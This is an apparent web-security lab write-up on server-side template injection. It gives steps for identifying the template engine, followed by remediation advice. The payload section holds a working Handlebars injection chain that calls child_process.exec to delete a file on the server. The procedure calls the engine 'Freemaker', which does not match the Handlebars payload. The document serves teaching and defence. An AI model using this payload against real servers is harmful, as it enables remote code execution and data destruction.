SCENARIO

The application is vulnerable to server-side template injection due to the way it unsafely uses a template. We will try to figure out a way to know the template used in order to execute arbitrary code on the backend server.

**PROCEDURE**

1. Open the application and try clicking on the very first product and we see a message that it is out of stock.
2. Now in the URL we will inject Payload 1 in order to force the application to throw an exception so we can identify the template engine of the server.
3. As we know the template engine deployed at the backend we will now craft a Payload 2 and then append it into the URL of the web application.
4. So, we will try to inject the Payload into the URL in order to do Remote Code Execution by going through the documentation of Freemaker template engine.

**PAYLOAD**

1. {{2\*2
2. wrtz{{#with "s" as |string|}}

{{#with "e"}}

{{#with split as |conslist|}}

{{this.pop}}

{{this.push (lookup string.sub "constructor")}}

{{this.pop}}

{{#with string.split as |codelist|}}

{{this.pop}}

{{this.push "return require('child\_process').exec('rm /home/carlos/morale.txt');"}}

{{this.pop}}

{{#each conslist}}

{{#with (string.sub.apply 0 codelist)}}

{{this}}

{{/with}}

{{/each}}

{{/with}}

{{/with}}

{{/with}}

{{/with}}

**REMEDIATION**

1. **Avoid Direct Template Execution:** The safest way to prevent server-side template injection is to never allow user-controlled data to dictate template content. Instead of using templates to generate dynamic content based on user input, use safer methods, such as setting content dynamically via the Document Object Model (DOM) on the client side.
2. **Safe API Methods:** If the template engine you're using offers both safe and unsafe methods, always opt for the safe one. Unsafe methods often provide more flexibility, but at the cost of security.
3. **Input Validation:** Implement strict validation for all user-supplied data before processing. Regular expressions can be helpful in determining if input data matches expected patterns. Reject any input that doesn't strictly match expected patterns.
4. **Output Encoding:** When displaying user-controlled data, always encode the output to make it safe for the context in which it's being placed. This can prevent injected templates from being processed.
5. **Use a Content Security Policy (CSP):** A strong CSP can prevent many client-side injection attacks, including certain types of template injection.
6. **Disable Unneeded Features:** Many template engines come with a wide range of features, not all of which may be needed for your application. By disabling unnecessary features, you can reduce the attack surface.